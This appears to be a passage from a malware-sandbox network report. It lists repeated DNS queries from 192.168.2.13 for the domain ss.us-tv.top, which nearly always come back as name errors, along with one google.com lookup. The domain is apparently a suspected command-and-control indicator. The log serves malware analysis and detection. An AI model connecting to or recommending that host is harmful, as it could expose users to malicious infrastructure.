Nov 2, 2024 04:02:09.756498098 CET	192.168.2.13	1.1.1.1	0xe499	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:09.757102013 CET	192.168.2.13	1.1.1.1	0x25d2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:10.772665977 CET	192.168.2.13	1.1.1.1	0x6a76	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:10.773075104 CET	192.168.2.13	1.1.1.1	0x165d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:10.780617952 CET	192.168.2.13	1.1.1.1	0x6a76	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:10.780646086 CET	192.168.2.13	1.1.1.1	0x165d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:11.799571991 CET	192.168.2.13	1.1.1.1	0xd696	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:11.800646067 CET	192.168.2.13	1.1.1.1	0x5671	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:11.807058096 CET	192.168.2.13	1.1.1.1	0xd696	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:11.807935953 CET	192.168.2.13	1.1.1.1	0x5671	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:12.828974962 CET	192.168.2.13	1.1.1.1	0x401c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:12.829205036 CET	192.168.2.13	1.1.1.1	0x6e44	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:12.836071014 CET	192.168.2.13	1.1.1.1	0x6e44	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:12.836215973 CET	192.168.2.13	1.1.1.1	0x401c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:12.842777014 CET	192.168.2.13	1.1.1.1	0x6e44	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:14.249562025 CET	192.168.2.13	1.1.1.1	0xcd9a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:14.249743938 CET	192.168.2.13	1.1.1.1	0xd725	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:14.256804943 CET	192.168.2.13	1.1.1.1	0xcd9a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:14.256969929 CET	192.168.2.13	1.1.1.1	0xd725	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:15.275252104 CET	192.168.2.13	1.1.1.1	0xda32	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:15.277570963 CET	192.168.2.13	1.1.1.1	0xc7f9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:15.283112049 CET	192.168.2.13	1.1.1.1	0xda32	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:15.284951925 CET	192.168.2.13	1.1.1.1	0xc7f9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:16.300898075 CET	192.168.2.13	1.1.1.1	0x6d8e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:16.301076889 CET	192.168.2.13	1.1.1.1	0xcf4b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:16.308176041 CET	192.168.2.13	1.1.1.1	0xcf4b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:16.308217049 CET	192.168.2.13	1.1.1.1	0x6d8e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:17.325175047 CET	192.168.2.13	1.1.1.1	0x5229	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:17.328411102 CET	192.168.2.13	1.1.1.1	0x497d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:17.332374096 CET	192.168.2.13	1.1.1.1	0x5229	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:17.335033894 CET	192.168.2.13	1.1.1.1	0x497d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:18.350233078 CET	192.168.2.13	1.1.1.1	0x7d21	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:18.351345062 CET	192.168.2.13	1.1.1.1	0xda27	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:18.358305931 CET	192.168.2.13	1.1.1.1	0x7d21	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:18.358846903 CET	192.168.2.13	1.1.1.1	0xda27	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:19.372740984 CET	192.168.2.13	1.1.1.1	0x4ce9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:19.373158932 CET	192.168.2.13	1.1.1.1	0x460	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:19.380168915 CET	192.168.2.13	1.1.1.1	0x4ce9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:19.380522013 CET	192.168.2.13	1.1.1.1	0x460	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:20.400269985 CET	192.168.2.13	1.1.1.1	0xce28	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:20.402709961 CET	192.168.2.13	1.1.1.1	0x8f7c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:20.407732964 CET	192.168.2.13	1.1.1.1	0xce28	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:20.410732031 CET	192.168.2.13	1.1.1.1	0x8f7c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:20.414351940 CET	192.168.2.13	1.1.1.1	0xce28	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:21.794873953 CET	192.168.2.13	1.1.1.1	0x1f78	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:21.798609018 CET	192.168.2.13	1.1.1.1	0x2d8b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:21.802223921 CET	192.168.2.13	1.1.1.1	0x1f78	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:21.805820942 CET	192.168.2.13	1.1.1.1	0x2d8b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:22.824621916 CET	192.168.2.13	1.1.1.1	0x8975	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:22.828100920 CET	192.168.2.13	1.1.1.1	0x64b7	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:22.832552910 CET	192.168.2.13	1.1.1.1	0x8975	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:22.834729910 CET	192.168.2.13	1.1.1.1	0x64b7	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:23.849020958 CET	192.168.2.13	1.1.1.1	0x6923	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:23.852292061 CET	192.168.2.13	1.1.1.1	0x5bf8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:23.856478930 CET	192.168.2.13	1.1.1.1	0x6923	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:23.858915091 CET	192.168.2.13	1.1.1.1	0x5bf8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 2, 2024 04:00:29.335458040 CET	1.1.1.1	192.168.2.13	0x712a	No error (0)	www.google.com			28	IN (0x0001)	false
Nov 2, 2024 04:00:29.341455936 CET	1.1.1.1	192.168.2.13	0xcabf	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:29.369029999 CET	1.1.1.1	192.168.2.13	0xa4cb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:29.372047901 CET	1.1.1.1	192.168.2.13	0x5d90	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:29.375684977 CET	1.1.1.1	192.168.2.13	0xa4cb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:30.043508053 CET	1.1.1.1	192.168.2.13	0x5d90	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:31.063100100 CET	1.1.1.1	192.168.2.13	0x39e4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:31.063862085 CET	1.1.1.1	192.168.2.13	0xad8d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:31.069735050 CET	1.1.1.1	192.168.2.13	0x39e4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:31.426858902 CET	1.1.1.1	192.168.2.13	0xad8d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:32.443392992 CET	1.1.1.1	192.168.2.13	0xe7cb	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:32.443665028 CET	1.1.1.1	192.168.2.13	0xfac1	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:32.449963093 CET	1.1.1.1	192.168.2.13	0xe7cb	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:32.450231075 CET	1.1.1.1	192.168.2.13	0xfac1	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:33.472079992 CET	1.1.1.1	192.168.2.13	0x67e4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:33.472204924 CET	1.1.1.1	192.168.2.13	0x79c6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:33.480552912 CET	1.1.1.1	192.168.2.13	0x67e4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:33.480565071 CET	1.1.1.1	192.168.2.13	0x79c6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:34.500528097 CET	1.1.1.1	192.168.2.13	0x36fc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:34.507229090 CET	1.1.1.1	192.168.2.13	0x36fc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:34.585655928 CET	1.1.1.1	192.168.2.13	0x57a2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:34.593234062 CET	1.1.1.1	192.168.2.13	0x57a2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:35.612685919 CET	1.1.1.1	192.168.2.13	0xba2d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:35.612870932 CET	1.1.1.1	192.168.2.13	0x7d62	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:35.619365931 CET	1.1.1.1	192.168.2.13	0xba2d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:35.923459053 CET	1.1.1.1	192.168.2.13	0x7d62	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:36.942589045 CET	1.1.1.1	192.168.2.13	0x1445	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:36.943073034 CET	1.1.1.1	192.168.2.13	0x4ab3	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:36.949161053 CET	1.1.1.1	192.168.2.13	0x1445	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:36.949690104 CET	1.1.1.1	192.168.2.13	0x4ab3	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:37.971003056 CET	1.1.1.1	192.168.2.13	0xb664	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:37.971302032 CET	1.1.1.1	192.168.2.13	0x1e7d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:37.977596998 CET	1.1.1.1	192.168.2.13	0xb664	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:38.107640982 CET	1.1.1.1	192.168.2.13	0x1e7d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:39.126749992 CET	1.1.1.1	192.168.2.13	0x325	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:39.127074003 CET	1.1.1.1	192.168.2.13	0x4803	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:39.133905888 CET	1.1.1.1	192.168.2.13	0x325	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:39.133918047 CET	1.1.1.1	192.168.2.13	0x4803	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:40.234523058 CET	1.1.1.1	192.168.2.13	0x589a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:40.236795902 CET	1.1.1.1	192.168.2.13	0x1dfc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:40.241204977 CET	1.1.1.1	192.168.2.13	0x589a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:40.243437052 CET	1.1.1.1	192.168.2.13	0x1dfc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:41.260718107 CET	1.1.1.1	192.168.2.13	0x9d74	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:41.261459112 CET	1.1.1.1	192.168.2.13	0x4f2c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:41.267745972 CET	1.1.1.1	192.168.2.13	0x9d74	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:41.268261909 CET	1.1.1.1	192.168.2.13	0x4f2c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:42.285463095 CET	1.1.1.1	192.168.2.13	0xf7df	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:42.285815954 CET	1.1.1.1	192.168.2.13	0x3c07	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:42.292536974 CET	1.1.1.1	192.168.2.13	0xf7df	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:42.292542934 CET	1.1.1.1	192.168.2.13	0x3c07	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:43.309340954 CET	1.1.1.1	192.168.2.13	0x6d1c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:43.309443951 CET	1.1.1.1	192.168.2.13	0x4c8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:43.316014051 CET	1.1.1.1	192.168.2.13	0x6d1c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:43.316083908 CET	1.1.1.1	192.168.2.13	0x4c8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:44.339272976 CET	1.1.1.1	192.168.2.13	0xe718	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:44.340743065 CET	1.1.1.1	192.168.2.13	0xdabc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:44.346036911 CET	1.1.1.1	192.168.2.13	0xe718	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:44.347601891 CET	1.1.1.1	192.168.2.13	0xdabc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:45.363070011 CET	1.1.1.1	192.168.2.13	0x65dd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:45.365804911 CET	1.1.1.1	192.168.2.13	0xf5e6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:45.369822979 CET	1.1.1.1	192.168.2.13	0x65dd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:45.372522116 CET	1.1.1.1	192.168.2.13	0xf5e6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:46.388448000 CET	1.1.1.1	192.168.2.13	0xb39b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:46.388560057 CET	1.1.1.1	192.168.2.13	0x79e1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:46.395032883 CET	1.1.1.1	192.168.2.13	0xb39b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:46.523484945 CET	1.1.1.1	192.168.2.13	0x79e1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:47.541131020 CET	1.1.1.1	192.168.2.13	0x9dca	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:47.541207075 CET	1.1.1.1	192.168.2.13	0x9d85	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:47.547892094 CET	1.1.1.1	192.168.2.13	0x9d85	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:47.547907114 CET	1.1.1.1	192.168.2.13	0x9dca	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:48.565283060 CET	1.1.1.1	192.168.2.13	0x7a4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:48.565840006 CET	1.1.1.1	192.168.2.13	0x81e2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:48.572938919 CET	1.1.1.1	192.168.2.13	0x81e2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:48.701781034 CET	1.1.1.1	192.168.2.13	0x7a4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:49.723732948 CET	1.1.1.1	192.168.2.13	0x9f66	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:49.726142883 CET	1.1.1.1	192.168.2.13	0x1560	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:49.730379105 CET	1.1.1.1	192.168.2.13	0x9f66	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:49.732702017 CET	1.1.1.1	192.168.2.13	0x1560	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:50.750705957 CET	1.1.1.1	192.168.2.13	0x9018	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:50.753669024 CET	1.1.1.1	192.168.2.13	0x57f1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:50.757991076 CET	1.1.1.1	192.168.2.13	0x9018	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:50.760869026 CET	1.1.1.1	192.168.2.13	0x57f1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:51.777635098 CET	1.1.1.1	192.168.2.13	0x898d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:51.779865980 CET	1.1.1.1	192.168.2.13	0x2b0c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:51.786617994 CET	1.1.1.1	192.168.2.13	0x2b0c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:51.913733006 CET	1.1.1.1	192.168.2.13	0x898d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:52.931595087 CET	1.1.1.1	192.168.2.13	0xcf4e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:52.931706905 CET	1.1.1.1	192.168.2.13	0x9927	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:52.938222885 CET	1.1.1.1	192.168.2.13	0xcf4e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:52.938651085 CET	1.1.1.1	192.168.2.13	0x9927	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:53.958734989 CET	1.1.1.1	192.168.2.13	0x9666	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:53.959361076 CET	1.1.1.1	192.168.2.13	0x8b5c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:53.965542078 CET	1.1.1.1	192.168.2.13	0x9666	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:53.965810061 CET	1.1.1.1	192.168.2.13	0x8b5c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:54.985018969 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:54.985373020 CET	1.1.1.1	192.168.2.13	0x8c54	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:54.991873980 CET	1.1.1.1	192.168.2.13	0xc4a9	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:54.992127895 CET	1.1.1.1	192.168.2.13	0x8c54	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:56.011658907 CET	1.1.1.1	192.168.2.13	0x9b16	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:56.011684895 CET	1.1.1.1	192.168.2.13	0x2dbf	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:56.018381119 CET	1.1.1.1	192.168.2.13	0x2dbf	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:56.018392086 CET	1.1.1.1	192.168.2.13	0x9b16	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:57.036664009 CET	1.1.1.1	192.168.2.13	0xcf23	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:57.041660070 CET	1.1.1.1	192.168.2.13	0x15fa	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:57.043234110 CET	1.1.1.1	192.168.2.13	0xcf23	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:57.048357964 CET	1.1.1.1	192.168.2.13	0x15fa	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:58.062099934 CET	1.1.1.1	192.168.2.13	0xd069	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:58.064107895 CET	1.1.1.1	192.168.2.13	0xd42e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:58.068941116 CET	1.1.1.1	192.168.2.13	0xd069	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:58.070558071 CET	1.1.1.1	192.168.2.13	0xd42e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:59.085124969 CET	1.1.1.1	192.168.2.13	0xa52b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:59.085624933 CET	1.1.1.1	192.168.2.13	0xa4d0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:00:59.091877937 CET	1.1.1.1	192.168.2.13	0xa52b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:59.092122078 CET	1.1.1.1	192.168.2.13	0xa4d0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:00.108427048 CET	1.1.1.1	192.168.2.13	0x22cf	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:00.109103918 CET	1.1.1.1	192.168.2.13	0x1c22	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:00.115165949 CET	1.1.1.1	192.168.2.13	0x22cf	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:00.245505095 CET	1.1.1.1	192.168.2.13	0x1c22	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:01.261075020 CET	1.1.1.1	192.168.2.13	0xf367	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:01.266418934 CET	1.1.1.1	192.168.2.13	0x11e0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:01.267699957 CET	1.1.1.1	192.168.2.13	0xf367	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:01.273189068 CET	1.1.1.1	192.168.2.13	0x11e0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:02.289551973 CET	1.1.1.1	192.168.2.13	0xc2cc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:02.289963007 CET	1.1.1.1	192.168.2.13	0x4ecc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:02.296392918 CET	1.1.1.1	192.168.2.13	0xc2cc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:02.296581030 CET	1.1.1.1	192.168.2.13	0x4ecc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:03.320673943 CET	1.1.1.1	192.168.2.13	0x4e4c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:03.322202921 CET	1.1.1.1	192.168.2.13	0xa811	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:03.327326059 CET	1.1.1.1	192.168.2.13	0x4e4c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
